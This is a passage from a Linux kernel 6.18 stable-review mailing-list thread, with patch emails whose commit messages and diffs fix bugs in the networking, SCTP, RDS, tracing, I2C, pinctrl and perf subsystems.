1 file changed, 5 insertions(+), 6 deletions(-)
--- a/net/sched/act_api.c
+++ b/net/sched/act_api.c
@@ -372,9 +372,10 @@ static int __tcf_action_put(struct tc_ac
{
struct tcf_idrinfo *idrinfo = p->idrinfo;
- if (refcount_dec_and_mutex_lock(&p->tcfa_refcnt, &idrinfo->lock)) {
- if (bind)
- atomic_dec(&p->tcfa_bindcnt);
+ mutex_lock(&idrinfo->lock);
+ if (bind)
+ atomic_dec(&p->tcfa_bindcnt);
+ if (refcount_dec_and_test(&p->tcfa_refcnt)) {
idr_remove(&idrinfo->action_idr, p->tcfa_index);
mutex_unlock(&idrinfo->lock);
@@ -382,9 +383,7 @@ static int __tcf_action_put(struct tc_ac
return 1;
}
- if (bind)
- atomic_dec(&p->tcfa_bindcnt);
-
+ mutex_unlock(&idrinfo->lock);
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 086/193] net: rds: fix uninitialized trans dereference in CM event handler
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (84 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 085/193] net/sched: fix use-after-free in __tcf_action_put() Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 087/193] pinctrl: amd: Clear S4 wake bits when firmware has _AEI Greg Kroah-Hartman
` (117 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, TencentOS Corvus AI, Aohan Mei,
Allison Henderson, Paolo Abeni
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aohan Mei <henrymei@tencent.com>
commit 492ba6ac1b1ffb8a06ff52db0825c1af2cdb28c8 upstream.
rds_rdma_cm_event_handler_cmn() assigns trans only when the RDMA
device is an InfiniBand CA (RDMA_NODE_IB_CA). On any other device
type, e.g. an iWARP RNIC such as siw, trans stays uninitialized, but
the event switch dereferences it: unconditionally in the
RDMA_CM_EVENT_CONNECT_REQUEST case via trans->cm_handle_connect(),
and (with a connection context) in the ROUTE_RESOLVED and
ESTABLISHED cases.
An RDS listener on an iWARP device therefore crashes the kernel as
soon as a connect request arrives: with CONFIG_INIT_STACK_ALL_ZERO
the wild load becomes a NULL dereference at offset 0xa0
(&trans->cm_handle_connect) in the iw_cm_wq workqueue.
GCC masks the bug in default builds by folding the uninitialized
load into &rds_ib_transport; Clang-built kernels take the real
uninitialized path and oops.
The active side can land on a non-IB device too: the id that
rds_ib_conn_path_connect() creates is not restricted to a node type,
so rdma_resolve_addr() binds it to whichever device serves the local
address, and an iWARP RNIC on the same netdev qualifies. The crash
there is different: resolving a route on an iWARP id never fills in
cm_id->route.path_rec, and the ROUTE_RESOLVED case writes
path_rec[0].sl before it calls into the transport.
The iWARP transport was dropped long ago and IB is the only
transport left, so make that explicit: initialize trans to
&rds_ib_transport at declaration, drop the conditional assignment,
reject a connect request that arrives on a non-IB device, and drop a
connection whose address resolved to one instead of resolving a
route on it. The rejection is limited to RDMA_CM_EVENT_CONNECT_REQUEST
on purpose: a non-zero return from the handler makes rdma_cm destroy
the id the event was delivered on, which is right for the request's
freshly created id but would free a connection id that RDS still owns
for any other event. On the active side the id stays ic->i_cm_id and
the connection's shutdown destroys it, so that case returns 0.
Fixes: dcdede0406d3 ("RDS: Drop stale iWARP RDMA transport")
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Link: https://lore.kernel.org/netdev/20260824111701.2979194-1-ljp1205831794@gmail.com/
Link: https://lore.kernel.org/netdev/20260825021223.3483044-1-ljp1205831794@gmail.com/
Cc: stable@vger.kernel.org
Assisted-by: CodeBuddy:Kimi-K3
Signed-off-by: Aohan Mei <henrymei@tencent.com>
[achender: reject only on RDMA_CM_EVENT_CONNECT_REQUEST instead of
bailing out for every event on a non-IB device, so that rdma_cm does
not destroy connection ids RDS still tracks; drop a connection whose
address resolved to a non-IB device before a route is resolved on it;
changelog adjusted]
Assisted-by: LLM
Signed-off-by: Allison Henderson <achender@kernel.org>
Link: https://patch.msgid.link/20261003163408.250568-2-achender@kernel.org
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/rds/rdma_transport.c | 26 ++++++++++++++++++++++----
1 file changed, 22 insertions(+), 4 deletions(-)
--- a/net/rds/rdma_transport.c
+++ b/net/rds/rdma_transport.c
@@ -52,7 +52,7 @@ static int rds_rdma_cm_event_handler_cmn
{
/* this can be null in the listening path */
struct rds_connection *conn = cm_id->context;
- struct rds_transport *trans;
+ struct rds_transport *trans = &rds_ib_transport;
int ret = 0;
int *err;
u8 len;
@@ -60,9 +60,6 @@ static int rds_rdma_cm_event_handler_cmn
rdsdebug("conn %p id %p handling event %u (%s)\n", conn, cm_id,
event->event, rdma_event_msg(event->event));
- if (cm_id->device->node_type == RDMA_NODE_IB_CA)
- trans = &rds_ib_transport;
-
/* Prevent shutdown from tearing down the connection
* while we're executing. */
if (conn) {
@@ -82,11 +79,32 @@ static int rds_rdma_cm_event_handler_cmn
switch (event->event) {
case RDMA_CM_EVENT_CONNECT_REQUEST:
+ /* Only the IB transport is supported, but RDS listens on
+ * every RDMA device: reject a request that arrived on any
+ * other kind. A non-zero return has rdma_cm destroy the
+ * request's id, which is what we want here and only here.
+ */
+ if (cm_id->device->node_type != RDMA_NODE_IB_CA) {
+ ret = 1;
+ break;
+ }
ret = trans->cm_handle_connect(cm_id, event, isv6);
break;
case RDMA_CM_EVENT_ADDR_RESOLVED:
if (conn) {
+ /* The address resolved to a device RDS has no
+ * transport for. Do not go on to resolve a route:
+ * an iWARP route leaves cm_id->route.path_rec
+ * unset, which the ROUTE_RESOLVED case below
+ * dereferences. Drop the connection instead; the
+ * id is still ic->i_cm_id, so return 0 and let the
+ * shutdown destroy it.
+ */
+ if (cm_id->device->node_type != RDMA_NODE_IB_CA) {
+ rds_conn_drop(conn);
+ break;
+ }
rdma_set_service_type(cm_id, conn->c_tos);
rdma_set_min_rnr_timer(cm_id, IB_RNR_TIMER_000_32);
ret = rdma_resolve_route(cm_id,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 087/193] pinctrl: amd: Clear S4 wake bits when firmware has _AEI
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (85 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 086/193] net: rds: fix uninitialized trans dereference in CM event handler Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 088/193] sctp: revalidate output stream after association connect wait Greg Kroah-Hartman
` (116 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Olzhas Marat, Shyam Sundar S K,
Mario Limonciello, Linus Walleij
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mario Limonciello <mario.limonciello@amd.com>
commit 1cca81a683da7f0ef2fbaf34442376044cbbad22 upstream.
Commit ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe")
preserves firmware-programmed S4 wake sources because some PCIe devices
rely on them for Wake-on-LAN. The system that motivated that change does
not expose ACPI GPIO events through _AEI.
On a Chuwi CoreBook Plus, firmware exposes _AEI but also leaves the S4/S5
wake bit set for GPIO 24. This causes the machine to power back on
immediately after shutdown even though Wake-on-LAN is not enabled.
GPIO register dumps show that the only relevant difference is bit 15 on
GPIO 24. Clearing that bit makes the machine remain off. GPIO 24 is not
itself listed in _AEI, so _AEI is not a per-pin indication of which pins
the OS manages; it is a platform level signal of which wake model the
firmware follows.
Use that signal to decide what to clear. Continue clearing S0i3/S3 bits on
every system. Clear S4 bits when firmware exposes _AEI, indicating that the
platform hands GPIO events to the OS, but preserve S4 bits when _AEI is
absent so that firmware-programmed sources such as PCIe PME that bypass the
GPIO IRQ wake API keep working.
A platform that exposes _AEI for some pins while routing a wake capable
device through a raw GPIO not listed in _AEI would lose that wake source
unless firmware re-arms it during the sleep transition. No such system has
been reported.
Fixes: ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe")
Reported-by: Olzhas Marat <marat.olzhas@gmail.com>
Closes: https://bugzilla.kernel.org/show_bug.cgi?id=222041
Cc: stable@vger.kernel.org
Tested-by: Olzhas Marat <marat.olzhas@gmail.com>
Reviewed-by: Shyam Sundar S K <Shyam-sundar.S-k@amd.com>
Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
Signed-off-by: Linus Walleij <linusw@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/pinctrl/pinctrl-amd.c | 9 +++++++++
1 file changed, 9 insertions(+)
--- a/drivers/pinctrl/pinctrl-amd.c
+++ b/drivers/pinctrl/pinctrl-amd.c
@@ -888,6 +888,15 @@ static void amd_gpio_irq_init(struct amd
mask = BIT(WAKE_CNTRL_OFF_S0I3) | BIT(WAKE_CNTRL_OFF_S3);
+#ifdef CONFIG_ACPI
+ /*
+ * Platforms without _AEI leave GPIO wake sources to firmware, so
+ * preserve their S4 wake bits.
+ */
+ if (acpi_has_method(ACPI_HANDLE(&gpio_dev->pdev->dev), "_AEI"))
+ mask |= BIT(WAKE_CNTRL_OFF_S4);
+#endif
+
for (i = 0; i < desc->npins; i++) {
int pin = desc->pins[i].number;
const struct pin_desc *pd = pin_desc_get(gpio_dev->pctrl, pin);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 088/193] sctp: revalidate output stream after association connect wait
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (86 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 087/193] pinctrl: amd: Clear S4 wake bits when firmware has _AEI Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 089/193] tools: gpio: fix building from the top level with O= Greg Kroah-Hartman
` (115 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Daehyeon Ko, Xin Long, Paolo Abeni
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <4ncienth@gmail.com>
commit b7ad72414c673ce1fa1f463e807cd4f34f8be9bf upstream.
When message interleaving is enabled, the first send waits for association
establishment before building its data chunks. The wait drops the socket
lock, and handshake processing can reduce the output stream count to the
peer-advertised inbound stream count. sctp_stream_init() then frees the
extension of every removed stream.
The sender resumes with the stream that it checked before the wait. If the
peer removed that stream, sctp_outq_tail() later dereferences its NULL
extension. Fatal-oops policies then panic the host.
KASAN: null-ptr-deref in range [0x38-0x3f]
RIP: sctp_outq_tail+0x49e/0xaa0
Call Trace:
sctp_primitive_SEND
sctp_sendmsg_to_asoc
sctp_sendmsg
A range check alone is insufficient. Stream reconfiguration can grow the
output count again while the lock is released without recreating extensions
freed by the earlier shrink. The stream can then be in range while its
extension remains NULL. The send-buffer wait has the same issue.
Factor the range and extension checks into a helper and repeat both after
each send-path wait that drops the socket lock. Once the lock is
reacquired, the validation remains stable through data creation and
queueing.
If validation fails after the connect wait, the auto-created association is
already established. Return ESRCH so the existing caller path keeps it
under state-machine ownership instead of freeing it directly, which would
leave protocol, counter and socket state inconsistent.
Fixes: 668c9beb9020 ("sctp: implement assign_number for sctp_stream_interleave")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
Acked-by: Xin Long <lucien.xin@gmail.com>
Link: https://patch.msgid.link/20261007035739.3472432-1-4ncienth@gmail.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sctp/socket.c | 33 +++++++++++++++++++++------------
1 file changed, 21 insertions(+), 12 deletions(-)
--- a/net/sctp/socket.c
+++ b/net/sctp/socket.c
@@ -1785,6 +1785,18 @@ static int sctp_sendmsg_check_sflags(str
return 1;
}
+static int sctp_sendmsg_check_stream(struct sctp_association *asoc,
+ struct sctp_sndrcvinfo *sinfo)
+{
+ if (unlikely(sinfo->sinfo_stream >= asoc->stream.outcnt))
+ return -EINVAL;
+
+ if (unlikely(!SCTP_SO(&asoc->stream, sinfo->sinfo_stream)->ext))
+ return sctp_stream_init_ext(&asoc->stream, sinfo->sinfo_stream);
+
+ return 0;
+}
+
static int sctp_sendmsg_to_asoc(struct sctp_association *asoc,
struct msghdr *msg, size_t msg_len,
struct sctp_transport *transport,
@@ -1799,16 +1811,9 @@ static int sctp_sendmsg_to_asoc(struct s
long timeo;
int err;
- if (sinfo->sinfo_stream >= asoc->stream.outcnt) {
- err = -EINVAL;
+ err = sctp_sendmsg_check_stream(asoc, sinfo);
+ if (err)
goto err;
- }
-
- if (unlikely(!SCTP_SO(&asoc->stream, sinfo->sinfo_stream)->ext)) {
- err = sctp_stream_init_ext(&asoc->stream, sinfo->sinfo_stream);
- if (err)
- goto err;
- }
if (sp->disable_fragments && msg_len > asoc->frag_point) {
err = -EMSGSIZE;
@@ -1829,10 +1834,9 @@ static int sctp_sendmsg_to_asoc(struct s
err = sctp_wait_for_sndbuf(asoc, transport, &timeo, msg_len);
if (err)
goto err;
- if (unlikely(sinfo->sinfo_stream >= asoc->stream.outcnt)) {
- err = -EINVAL;
+ err = sctp_sendmsg_check_stream(asoc, sinfo);
+ if (err)
goto err;
- }
}
if (sctp_state(asoc, CLOSED)) {
@@ -1847,6 +1851,11 @@ static int sctp_sendmsg_to_asoc(struct s
err = -ESRCH;
goto err;
}
+ err = sctp_sendmsg_check_stream(asoc, sinfo);
+ if (err) {
+ err = -ESRCH;
+ goto err;
+ }
} else {
wait_connect = true;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 089/193] tools: gpio: fix building from the top level with O=
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (87 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 088/193] sctp: revalidate output stream after association connect wait Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 090/193] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields Greg Kroah-Hartman
` (114 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sasha Levin, Bartosz Golaszewski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sasha Levin <sashal@kernel.org>
commit 52336337f1a01ad803c7f3ddb23f40222e9ad58d upstream.
"make O=<dir> tools/gpio" fails:
Makefile:27: /tools/build/Makefile.include: No such file or directory
tools/Makefile clears srctree, and the gpio Makefile only works it out
again when building_out_of_srctree is not set, which the top-level
Makefile sets for O= builds.
Also work out srctree when it is empty, as tools/bpf/Makefile does
since commit a89b2cbf71d64 ("tools, bpf: Fix build for 'make -s
tools/bpf O=<dir>'").
Fixes: 4a6a6f5c4aeed ("tools: gpio: Use !building_out_of_srctree to determine srctree")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Sasha Levin <sashal@kernel.org>
Link: https://patch.msgid.link/20261011223358.2327625-5-sashal@kernel.org
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
tools/gpio/Makefile | 6 ++++++
1 file changed, 6 insertions(+)
--- a/tools/gpio/Makefile
+++ b/tools/gpio/Makefile
@@ -7,7 +7,13 @@ bindir ?= /usr/bin
# isn't set and when invoked from selftests build, where srctree
# is set to ".". building_out_of_srctree is undefined for in srctree
# builds
+ifeq ($(srctree),)
+update_srctree := 1
+endif
ifndef building_out_of_srctree
+update_srctree := 1
+endif
+ifeq ($(update_srctree),1)
srctree := $(patsubst %/,%,$(dir $(CURDIR)))
srctree := $(patsubst %/,%,$(dir $(srctree)))
endif
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 090/193] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (88 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 089/193] tools: gpio: fix building from the top level with O= Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 091/193] i2c: qcom-cci: Fix HALT_ACK reset request being dropped Greg Kroah-Hartman
` (113 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Lee Jones, Masami Hiramatsu (Google),
Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lee Jones <lee@kernel.org>
commit a244c241593b5b38a08f0df2cb43c26574efbdcb upstream.
In check_synth_field(), when a synthetic event field is a stacktrace
(field->is_stack) and the histogram field is not a "long[" stacktrace
array, validation falls through to the generic size and signedness
comparison.
Because parse_synth_field() sets a stacktrace field's type to
"__data_loc unsigned long[]", its size is sizeof(u64) and
synth_field_signed() marks it as signed. Consequently, any 8-byte
signed scalar histogram field passes the fallback check, and its scalar
value is subsequently dereferenced as a kernel stacktrace pointer in
get_field_size() and trace_stack().
Furthermore, checking strstr(hist_field->type, "long[") is insufficient
because tracepoint fields defined with __bitmask() or __rel_bitmask()
also have type "__data_loc unsigned long[]" or "__rel_loc unsigned
long[]", whilst create_hist_field() treats them as 4-byte scalar values
without HIST_FIELD_FL_STACKTRACE.
Propagate HIST_FIELD_FL_STACKTRACE to variable references and field
variables (whilst excluding variable aliases from per-element
stacktrace capture), and reject any mismatch between
HIST_FIELD_FL_STACKTRACE and field->is_stack in check_synth_field().
Cc: stable@vger.kernel.org
Fixes: 00cf3d672a9d ("tracing: Allow synthetic events to pass around stacktraces")
Link: https://patch.msgid.link/20261013112449.1006088-1-lee@kernel.org
Signed-off-by: Lee Jones <lee@kernel.org>
Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -2115,7 +2115,8 @@ static int init_var_ref(struct hist_fiel
ref_field->size = var_field->size;
ref_field->is_signed = var_field->is_signed;
ref_field->flags |= var_field->flags &
- (HIST_FIELD_FL_TIMESTAMP | HIST_FIELD_FL_TIMESTAMP_USECS);
+ (HIST_FIELD_FL_TIMESTAMP | HIST_FIELD_FL_TIMESTAMP_USECS |
+ HIST_FIELD_FL_STACKTRACE);
if (system) {
ref_field->system = kstrdup(system, GFP_KERNEL);
@@ -3307,6 +3308,7 @@ static struct field_var *create_field_va
ret = -ENOMEM;
goto err;
}
+ var->flags |= val->flags & HIST_FIELD_FL_STACKTRACE;
field_var->var = var;
field_var->val = val;
@@ -3925,7 +3927,10 @@ static int check_synth_field(struct synt
&& field->is_dynamic)
return 0;
- if (strstr(hist_field->type, "long[") && field->is_stack)
+ if (!!(hist_field->flags & HIST_FIELD_FL_STACKTRACE) != field->is_stack)
+ return -EINVAL;
+
+ if (field->is_stack)
return 0;
if (strcmp(field->type, hist_field->type) != 0) {
@@ -4466,7 +4471,8 @@ static int create_var_field(struct hist_
if (!ret && hist_data->fields[val_idx]->flags & HIST_FIELD_FL_EXECNAME)
update_var_execname(hist_data->fields[val_idx]);
- if (!ret && hist_data->fields[val_idx]->flags &
+ if (!ret && !(hist_data->fields[val_idx]->flags & HIST_FIELD_FL_ALIAS) &&
+ hist_data->fields[val_idx]->flags &
(HIST_FIELD_FL_STRING | HIST_FIELD_FL_STACKTRACE))
hist_data->fields[val_idx]->var_str_idx = hist_data->n_var_str++;
@@ -5207,7 +5213,8 @@ static void hist_trigger_elt_update(stru
if (hist_field->flags & HIST_FIELD_FL_VAR) {
var_idx = hist_field->var.idx;
- if (hist_field->flags &
+ if (!(hist_field->flags & HIST_FIELD_FL_ALIAS) &&
+ hist_field->flags &
(HIST_FIELD_FL_STRING | HIST_FIELD_FL_STACKTRACE)) {
unsigned int str_start, var_str_idx, idx;
char *str, *val_str;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 091/193] i2c: qcom-cci: Fix HALT_ACK reset request being dropped
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (89 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 090/193] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 092/193] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() Greg Kroah-Hartman
` (112 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Loic Poulain, Konrad Dybcio,
Andi Shyti
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Loic Poulain <loic.poulain@oss.qualcomm.com>
commit 195f3d74b5de98969dc4fad956393bb00787efd1 upstream.
A HALT_ACK interrupt indicates that the corresponding I2C master has
entered the halted state and must be reset before further operation.
The M0 and M1 HALT_ACK status bits may be asserted simultaneously in a
single interrupt. However, the interrupt handler currently overwrites
the reset mask when processing each HALT_ACK condition, causing the
first reset request to be lost if both events are reported together.
Accumulate reset requests instead of overwriting them so that both
masters are properly reset when M0 and M1 HALT_ACK events occur in the
same interrupt.
Fixes: e517526195de4 ("i2c: Add Qualcomm CCI I2C driver")
Signed-off-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
Cc: <stable@vger.kernel.org> # v5.8+
Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20261012-cci-fixes-v1-1-8cd4eb1fc5f9@oss.qualcomm.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/i2c/busses/i2c-qcom-cci.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/drivers/i2c/busses/i2c-qcom-cci.c
+++ b/drivers/i2c/busses/i2c-qcom-cci.c
@@ -167,12 +167,12 @@ static irqreturn_t cci_isr(int irq, void
}
if (unlikely(val & CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK)) {
- reset = CCI_RESET_CMD_M0_MASK;
+ reset |= CCI_RESET_CMD_M0_MASK;
ret = IRQ_HANDLED;
}
if (unlikely(val & CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK)) {
- reset = CCI_RESET_CMD_M1_MASK;
+ reset |= CCI_RESET_CMD_M1_MASK;
ret = IRQ_HANDLED;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 092/193] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (90 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 091/193] i2c: qcom-cci: Fix HALT_ACK reset request being dropped Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 093/193] perf: Track the perf mlock gift separately Greg Kroah-Hartman
` (111 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Wentao Liang, Andi Shyti
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Wentao Liang <vulab@iscas.ac.cn>
commit aaabefc79b0ff0018e8e3832169bbe359d0551fc upstream.
In wmt_i2c_probe(), i2c->clk is acquired using of_clk_get(). If any
subsequent operation fails or when the module is unloaded, the clock
reference count is never decremented via clk_put(), leading to a
resource leak.
Switch to devm_clk_get() so that the clock is automatically managed
and released.
Fixes: 560746eb79d3 ("i2c: vt8500: Add support for I2C bus on Wondermedia SoCs")
Cc: stable@vger.kernel.org
Signed-off-by: Wentao Liang <vulab@iscas.ac.cn>
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20260916070631.1965713-1-vulab@iscas.ac.cn
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/i2c/busses/i2c-viai2c-wmt.c
+++ b/drivers/i2c/busses/i2c-viai2c-wmt.c
@@ -117,7 +117,7 @@ static int wmt_i2c_probe(struct platform
return dev_err_probe(&pdev->dev, err,
"failed to request irq %i\n", i2c->irq);
- i2c->clk = of_clk_get(np, 0);
+ i2c->clk = devm_clk_get(&pdev->dev, NULL);
if (IS_ERR(i2c->clk))
return dev_err_probe(&pdev->dev, PTR_ERR(i2c->clk),
"unable to request clock\n");
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 093/193] perf: Track the perf mlock gift separately
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (91 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 092/193] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 094/193] perf: Update cgroup time when rotating multiplexed events Greg Kroah-Hartman
` (110 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ameer Hamza, Lorenzo Stoakes (ARM),
Peter Zijlstra (Intel)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lorenzo Stoakes (ARM) <ljs@kernel.org>
commit 78436f3882fb8d848c823bf8cf754988202c5ca5 upstream.
The locked_vm field in struct user_struct was originally introduced by
commit 789f90fcf6b0 ("perf_counter: per user mlock gift") to provide an
mlock-like budget for perf measured against mm->pinned_vm (since 2011).
perf grants each user a 'gift' of perf_event_mlock_kb * online CPUs of
buffer pages which is charged to user->locked_vm without any RLIMIT_MEMLOCK
check.
Only pages beyond the gift are checked against RLIMIT_MEMLOCK, per-mm, via
mm->pinned_vm, which makes it different from the standard mlock() check,
which is per-mm and made against RLIMIT_MEMLOCK.
However, since this was introduced, a number of other components have
utilised this field where a shared resource needed to be limited against
RLIMIT_MEMLOCK.
The other users are currently MSG_ZEROCOPY, io_uring, AF_XDP, iommufd,
s390 KVM zPCI and most recently, secretmem in commit 97d34aa65c29
("mm/secretmem: properly account locked pages").
This field is shared between all of these, but because the gift is not
checked against RLIMIT_MEMLOCK, user->locked_vm alone can exceed it - 16
CPUs * 516 KiB is already more than the default 8 MiB - after which every
other user of the field fails unconditionally.
This was reported by a user who saw secretmem failing while running a
simultaneous perf record.
Resolve the issue by simply giving perf its own field separate from the
rest.
BPF used user->locked_vm up until commit 80ee81e0403c ("bpf: Eliminate
rlimit-based memory accounting infra for bpf maps") which landed in 5.11.
Thus also eliminate the now-defunct ifdef for CONFIG_BPF_SYSCALL for
user->locked_vm.
This issue exists between all of the components which use user->locked_vm
and perf, however secretmem is the first user who has caused a report over
many years and has been backported, so target the fix at that.
Fixes: 97d34aa65c29 ("mm/secretmem: properly account locked pages")
Closes: https://lore.kernel.org/20261002175651.811343-1-ameer.hamza@truenas.com
Reported-by: Ameer Hamza <ameer.hamza@truenas.com>
Signed-off-by: Lorenzo Stoakes (ARM) <ljs@kernel.org>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261003-perf-locked-vm-fix-v1-1-d214dcaf0d76@kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/linux/sched/user.h | 8 +++++---
kernel/events/core.c | 12 ++++++------
2 files changed, 11 insertions(+), 9 deletions(-)
--- a/include/linux/sched/user.h
+++ b/include/linux/sched/user.h
@@ -23,11 +23,13 @@ struct user_struct {
struct hlist_node uidhash_node;
kuid_t uid;
-#if defined(CONFIG_PERF_EVENTS) || defined(CONFIG_BPF_SYSCALL) || \
- defined(CONFIG_NET) || defined(CONFIG_IO_URING) || \
+#if defined(CONFIG_NET) || defined(CONFIG_IO_URING) || \
defined(CONFIG_VFIO_PCI_ZDEV_KVM) || IS_ENABLED(CONFIG_IOMMUFD) || \
defined(CONFIG_SECRETMEM)
- atomic_long_t locked_vm;
+ atomic_long_t locked_vm; /* pinned pages charged to RLIMIT_MEMLOCK */
+#endif
+#ifdef CONFIG_PERF_EVENTS
+ atomic_long_t perf_mlock; /* perf buffer pages within perf_event_mlock_kb */
#endif
#ifdef CONFIG_WATCH_QUEUE
